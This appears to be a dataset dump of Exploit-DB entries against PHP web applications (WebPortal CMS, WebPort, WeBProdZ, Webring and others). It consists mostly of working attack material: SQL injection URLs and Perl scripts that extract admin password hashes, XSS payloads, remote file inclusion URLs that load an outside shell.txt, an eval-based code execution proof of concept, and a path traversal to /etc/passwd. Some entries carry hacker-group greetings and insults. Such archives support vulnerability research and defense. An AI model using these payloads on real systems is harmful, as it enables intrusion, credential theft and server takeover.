deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12709
Description: webperformance eCommerce - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: cyberlog

Exploit:
===============================================
webperformance Ecommerce SQL Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# webperformance Ecommerce SQL Vulnerability
####################################################
# Vendor:http://www.webperformance.com.au
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "Not me give to lamers"

# Exploit       : [site]/shop.php?pid=[SQL Injection]
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/shop.php?pid=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #48612
Description: WebPort 1.19.1 - 'setup' Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-06-22
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: WebPort 1.19.1 - 'setup' Reflected Cross-Site Scripting
# Date: 2019-05-30
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://webport.se/
# Software Link: https://webport.se/nedladdningar/
# Version: v1.19.1
# Tested on: Windows/Linux

# CVE-2019-12460
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12460
# https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS

# PoC
To exploit vulnerability, someone could use 'http://
[server]:8090/access/setup?type="</script><script>alert('xss');</script><script>'
request
to impact users who open a maliciously crafted link or third-party web page.

GET /access/setup?type=%22%3C/script%3E%3Cscript%3Ealert(%27xss%27);%3C/script%3E%3Cscript%3E
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: __tiny_sessid=6361847c-952b-45ba-874c-71f1794ffe37
Upgrade-Insecure-Requests: 1
Exploit-DB #4826
Description: WebPortal CMS 0.6.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-31
Author: x0kster

Exploit:
#!/usr/bin/perl -w

# WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit
# Script Site : webportal.ivanoculmine.com
# by x0kster - x0kster[AT]gmail[DOT]com
# PoC : http://site/index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=1/*
# Note : For work register_globals is must be turned on and warning messages too and magic_quotes_gpc must be turned off.
# Vuln Code in index.php:
# <?php
#  [...]
#  if (isset($m)) {
#  $result = db_query ("SELECT * FROM ".$prefix."modules WHERE id='$m';"); <- Vuln Code :-)
#  [...]
# ?>
# If we select an inesistent id of a mod, it'll try to include it.
# So we have a warning error with the hash!.

use LWP::UserAgent;
if (@ARGV < 2){
 print "---------------------------------------------------------------\n";
 print "WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit by x0kster.\n";
 print "Usage : perl $0 site userid \n";
 print "Ex:     perl $0 http://localhost/webportal/ 1\n";
 print "Coded by x0kster -x0kster[AT]gmail[DOT]com   \n";
 print "---------------------------------------------------------------\n";
 exit();
 }
$b = LWP::UserAgent->new() or die "[-]LWP::UserAgent error.\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "[+]Exploiting.\n";
$host = $ARGV[0]."index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=".$ARGV[1]."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;
print "[+]Ok, hash for username with userid ".$ARGV[1]." is $1\n";
print "[+]Exploiting terminated.\n";
print "[+]Coded by x0kster\n";

# milw0rm.com [2007-12-31]
Exploit-DB #6544
Description: WebPortal CMS 0.7.4 - 'code' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-09-23
Author: GoLd_M

Exploit:
WebPortal <= 0.7.4 (code) Remote Code Execution Vulnerability
Download : http://webportal.ivanoculmine.com/download.php?mid=14
Vuln :
######################################################################
        <?
        if ($_GET["action"] == "execute") {
          eval (stripslashes($_POST["code"]));
        }
        ?>
######################################################################
POC :
/index.php?m=admin&f=console&action=execute&code=(id);} passthru(id);
######################################################################

# milw0rm.com [2008-09-23]
Exploit-DB #6443
Description: WebPortal CMS 0.7.4 - 'download.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: StAkeR

Exploit:
#!/usr/bin/perl
# --==+============================================================================+==--
# --==+            WebPortal <= 0.7.4 Remote SQL Injection Exploit                 +==--    
# --==+============================================================================+==--
# 
#  [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
#  [+] Discovered On: 12 Sep 2008
#  [+] Download: http://webportal.ivanoculmine.com/download.php?mid=14
#  
#  [*] SQL Injection
#  [+] download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1
#  [+] get file "download.php" and you can read 
#  
#  [*] Exploit:
#  
 # ----------------------------------------------------------
 # WebPortal <= 0.7.4 Remote SQL Injection Exploit 
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms 
 # ----------------------------------------------------------

 use strict;
 use LWP::Simple;


 my $domain = shift @ARGV or banner();
 my $injsql = "/download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1";

 if(get($domain.$injsql) =~ /([0-9a-f]{32})/)
 {
   print "[+] Exploit Succesfull!\n";
   print "[+] MD5 Password: ${1}\n";
 }
 else
 {
   print "[!] Exploit Failed!\n";
   print "[!] Site Not Vulnerable!\n";
 }

 sub banner
 {
   print "[+] WebPortal <= 0.7.4 Remote SQL Injection Exploit\n";
   print "[+] Usage: ${0} http://[host]\n";
   return exit;
 }

# milw0rm.com [2008-09-12]
Exploit-DB #6448
Description: WebPortal CMS 0.7.4 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-12
Author: S.W.A.T.

Exploit:
########################################################################
#
#                                 S.W.A.T.
#
# Title: WebPortal <= 0.7.4 (fckeditor) Remote Arbitrary File Upload
#
# Vendor: http://webportal.ivanoculmine.com/download.php?mid=14
#
# Discover by : S.W.A.T.
#
# svvateam@yahoo.com
#
# Impact: Medium
#
# Fix: Disable It In The Config File ;)
#
# Site: wWw.SvvaT.IR
#
########################################################################

####################
- Exploit:
####################

http://example.com/[path]/libraries/htmleditor/editor/filemanager/upload/test.html

####################
- Demo:
####################

http://demos.ivanoculmine.com/webportal/libraries/htmleditor/editor/filemanager/upload/test.html

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources.

####################
- GreTzZ :
####################

All My Friend's , Str0ke

####################

# milw0rm.com [2008-09-12]
Exploit-DB #8516
Description: WebPortal CMS 0.8b - Multiple Local/Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-04-22
Author: ahmadbady

Exploit:
                              (  ' )-.          ,~'`-.
                                       ,~' `  ' ) )       _(   _) )
                                      ( ( .--.===.--.    (  `    ' )
                                       `.%%.      .#`.   `-'`~~=~'
                                       /%%/         \##\
                                      |%%/  multi    \##|
                                      |%%|           |##|.,-.
                                      \%%|  file     |##/    )_
                                       \%\           /#/ ( `'  )
                                        \%\ include /#/(  ,  -'`-.
                                    ,~-. `%\       /#'(  (     ') )
                                   (  ) )_ `\__|__/'   `~-~=--~~='
                                  ( ` ')  ) [-=-=-]
                                 (_(_.~~~'   \|_|/ 
                                             [***]
                              \|||/
                              (o o) 
-=-=-=-==-=-=-=-=-=-=-=+-oooO--(_)-------+-=-=-=-=-=-=-   
                       |                 |    
                       |                 |                                      

script:webportal-0.8-beta
-------------------------------------------------
Author: ahmadbady 
email: kivi_hacker666@yahoo.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-====-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=--
download from:https://sites.google.com/site/ivanoculmine/Home/webportal-0.8-beta.zip?attredirects=0

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=--=-=--===-=--=-=-=
xpl:

http://127.0.0.1/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00

http://127.0.0.1/path/webportal-0.8-beta/indexk.php?lib_path=http://site.com/shell.txt?

http://127.0.0.1/path/webportal-0.8-beta/index.php?error=[local file]%00
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-


-=-=-=-=-=-=-=-=-=-=-=-+------------Ooo--+-=-=-=-=-=-=-=-=-=-=-          
                            |__|__|
                             || ||
                             OoO OoO

# milw0rm.com [2009-04-22]
Exploit-DB #12522
Description: WeBProdZ CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-06
Author: MasterGipy

Exploit:
      ______                _       _   _             
      | ___ \              | |     | | (_)            
      | |_/ /_____   _____ | |_   _| |_ _  ___  _ __  
      |    // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   
      | |\ \  __/\ V / (_) | | |_| | |_| | (_) | | | |   
      \_| \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| 

        _____                      _____  _____ 
       |_   _|                    |  _  ||  _  |
         | | ___  __ _ _ __ ___   | |/' || |_| |
         | |/ _ \/ _` | '_ ` _ \  |  /| |\____ |
         | |  __/ (_| | | | | | | \ |_/ /.___/ /
         \_/\___|\__,_|_| |_| |_|  \___/ \____/

_____________________________________________________________
   
[$] Exploit Title     : WeBProdZ CMS SQL Injection Vulnerability
[$] Date              : 06-05-2010            
[$] Author            : MasterGipy
[$] Email             : mastergipy [at] gmail.com
[$] Bug               : SQL Injection Vulnerability
[$] Google Dork       : "Desenvolvido por WeBProdZ"

[$] Vulnerable code in /backoffice/textos/editar.php

<?php 
    include_once("../../ligacao/connDB.php");
    $sql = "select * from textos where idtextos=".$_GET["id"];
        
    $j2 = mysql_query($sql);
    $o=mysql_fetch_object($j2);
?>

[$] Exploit

[+] http://[site]/backoffice/textos/editar.php?id=1  <- SQL

[+] sql_1: -1 UNION ALL SELECT 1,2,3--
[+] sql_2: -1 UNION ALL SELECT 1,2,concat(username,char(58),password)+from+utilizadores--
[+] sql_3: -1 UNION ALL SELECT 1,2,concat(username,char(58),password_ori)+from+utilizadores--


[$] Greetings from PORTUGAL ^^
Exploit-DB #1898
Description: WebprojectDB 0.1.3 - 'INCDIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-11
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  WebprojectDB (INCDIR) <= v.0.1.3 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/webprojectdb/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
In nav.php: (2-19)
.....
// Site Navigation: the top strip of links and all the authentication
issues.

include "$INCDIR/auth.php";        // auth_xxx plugins
include "$INCDIR/sitemap.php";


// maybe do on-demand loading here some day.
function get_page($pagename) {
   global $SITEMAP;
   return isset($SITEMAP[$pagename]) ? $SITEMAP[$pagename] : '';
}


// show the path up to $pagename
function nav_path($pagename,$level=0) {
   global $project_id, $projectcat_id, $thread_id, $forum_id;
   global $msg_id, $org_id;
   global $SESSION_VAR, $url_path;
.....
*/
#Expl:


http://www.site.com/[WebprojectDB_path]/include/nav.php?INCDIR=[evil_scripts]

http://www.site.com/[WebprojectDB_path]/include/lang.php?INCDIR=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-11]
Exploit-DB #8792
Description: Webradev Download Protect 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-05-26
Author: asL-Sabia

Exploit:
#########################################################
#
#    Webradev Download Protect v1.0  Remote File Inclusion
#     
#========================================================
#    Author : asL-Sabia                       =
#                                                        =
#    Home : www.v4-Team.com         =
#                                                        =
#    email: asL-Sabia@hotmail.com     =
#                                                        =
#                                                        =
#########################################################

scripts : http://www.httpdocs.org/scripts/support-client-management-systems/326-webradev-download-protect-v1-0/


DorK    :  :)

=========================================================
:
:
:
ExploiT :
:
:
: http://host/path/includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Customers/PDPEmailReplaceConstants.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Admin/ResellersManager.class.php?GLOBALS[RootPath]=shell.txt
:
:
---------------------------------------------------------

# milw0rm.com [2009-05-26]
Exploit-DB #15567
Description: WebRCSdiff 0.9 - 'viewver.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-11-18
Author: FL0RiX

Exploit:
========================================================
= Author: Fl0riX - Bug Researchers

= Application  Name : WebRCSdiff 0.9

= Vulnerable  Type: Remote File Inclusion

= Download: http://sourceforge.net/projects/webrcsdiff/files/webrcsdiff/0.9%20Release/webrcsdiff-0.9.tar.zip/download

= Risk : High

= Infection: Uzaktan Dosya Dahil edilebilir.

========================================================

=
 Error c0d3;
     include ("$doc_root/dir_config.php");

========================================================

=
 Example;
 site/viewver?doc_root=http://fl0rix/shell.txt?
========================================================
Exploit-DB #10675
Description: Webring - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : webring Cross Site Scripting Vulnerability                              |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10675                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : webring (http://www.kellishaver.com/)                                   |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1/webring/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #13975
Description: Webring Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:The webring service SQL Injection
Vendor url:http://getaphpsite.com
Version:1
Price:20$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

The webring service offers a place where users can create their own webrings, which is a community of websites that are connected that offers more traffic to the member of the ring.

With our webring service users easily create their free webring that also displays on the web site homepage, plus visitors the the users webrings can easily add their own website that is 100% moderated from the members area. This website has enormous traffic potential and features a rotating banners system and newsletter for advertising revenue. 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/webring/category.php?cat=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #32486
Description: Webscene eCommerce - 'productlist.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-14
Author: Angela Chang

Exploit:
source: https://www.securityfocus.com/bid/31755/info

Webscene eCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/productlist.php?categoryid=20&level=-4 union select concat(loginid,0x2f,password) from adminuser--
Exploit-DB #34700
Description: WebShop Hun 1.062s - '/index.php' Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-24
Author: u.f.

Exploit:
source: https://www.securityfocus.com/bid/43429/info

WebShop Hun is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

WebShop Hun 1.062s is vulnerable; other versions may also be affected.

http://www.example.com/index.php?param=1&nyelv_id=4&mappa=../../../../../../../etc/passwd%00

http://www.example.com/index.php?param=1&lap=<script>alert(document.cookie)</script>&bejelentkezes=nincs